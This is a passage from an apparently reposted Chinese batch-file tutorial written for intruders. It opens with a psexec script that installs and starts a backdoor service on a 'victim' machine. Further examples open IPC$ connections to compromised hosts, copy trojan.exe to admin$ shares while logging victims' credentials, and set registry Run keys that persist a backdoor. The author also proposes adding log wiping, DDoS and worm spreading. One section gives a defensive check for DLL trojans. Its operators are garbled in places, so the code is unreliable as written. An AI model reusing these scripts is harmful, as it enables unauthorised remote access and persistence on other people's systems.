@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 amp;amp; if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容

尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。

sample1:fomat.bat

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。

@echo off

@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3

三.如何使用組合命令(Compound Command)

1.amp;

Usage:第一條命令 amp; 第二條命令 [amp; 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:

C:\>dir z: amp; dir c:\Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51
.

2002-05-14 23:51
..

2002-05-14 23:51 14 sometips.gif

3.

Usage:第一條命令 第二條命令 [ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:

C:\Ex4rch>dir sometips.gif del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample:

@ trojan.exe \\%1\admin$\system32 amp;amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1. 命令

Usage:第一條命令 第二條命令 [ 第三條命令...]

將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:

time /t>>D:\IP.log

netstat -n -p tcp find ":3389">>D:\IP.log

start Explorer

看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。

2.>、>>輸出重定向命令

將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:

echo hello world>c:\hello.txt (stupid example?)

sample2:

時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:

運行CMD--轉換目錄到system32--dir *.exe>exeback.txt amp; dir *.dll>dllback.txt,

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:

CMD--fc exeback.txt exeback1.txt>diff.txt amp; fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。

3.< 、>amp; 、
< 從文件中而不是從鍵盤中讀入命令輸入。

>amp; 將一個句柄的輸出寫入到另一個句柄的輸入中。

這些並不常用,也就不多做介紹。

No.5

五.如何用批處理文件來操作注冊表

在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)

關於注冊表的操作,常見的是創建、修改、刪除。

1.創建

創建分為兩種,一種是創建子項(Subkey)

我們創建一個文件,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為「hacker」的子項。

另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about這三個項目

Invader的類型是「String Value」

door的類型是「REG SZ Value」

Autodos的類型是「DWORD Value」

我誠實!我是抄來的!

閱讀全文

與bat批接命令相關的資料

熱點內容
參加密逃文 瀏覽:327
蘋果編程語言ios 瀏覽:763
求解病態系統常用的演算法 瀏覽:993
駕校用的app叫什麼 瀏覽:219
數控編程線的纏繞方法 瀏覽:972
安卓線性布局怎麼設計計算器布局 瀏覽:24
拓本pdf 瀏覽:79
2017法碩指南pdf 瀏覽:294
linuxphp命令參數 瀏覽:424
可靠性預測和推薦演算法 瀏覽:855
程序員送女友的相冊 瀏覽:254
壓縮文件怎麼設置打開加密 瀏覽:768
tracert命令結果詳解 瀏覽:360
唯賽思通用什麼APP 瀏覽:376
古玩哪個app好賣 瀏覽:149
u盤內容全部顯示為壓縮包 瀏覽:519
編譯固件時使用00優化 瀏覽:359
速借白條app怎麼樣 瀏覽:759
用紙張做的解壓東西教程 瀏覽:16
求圓的周長最快演算法 瀏覽:192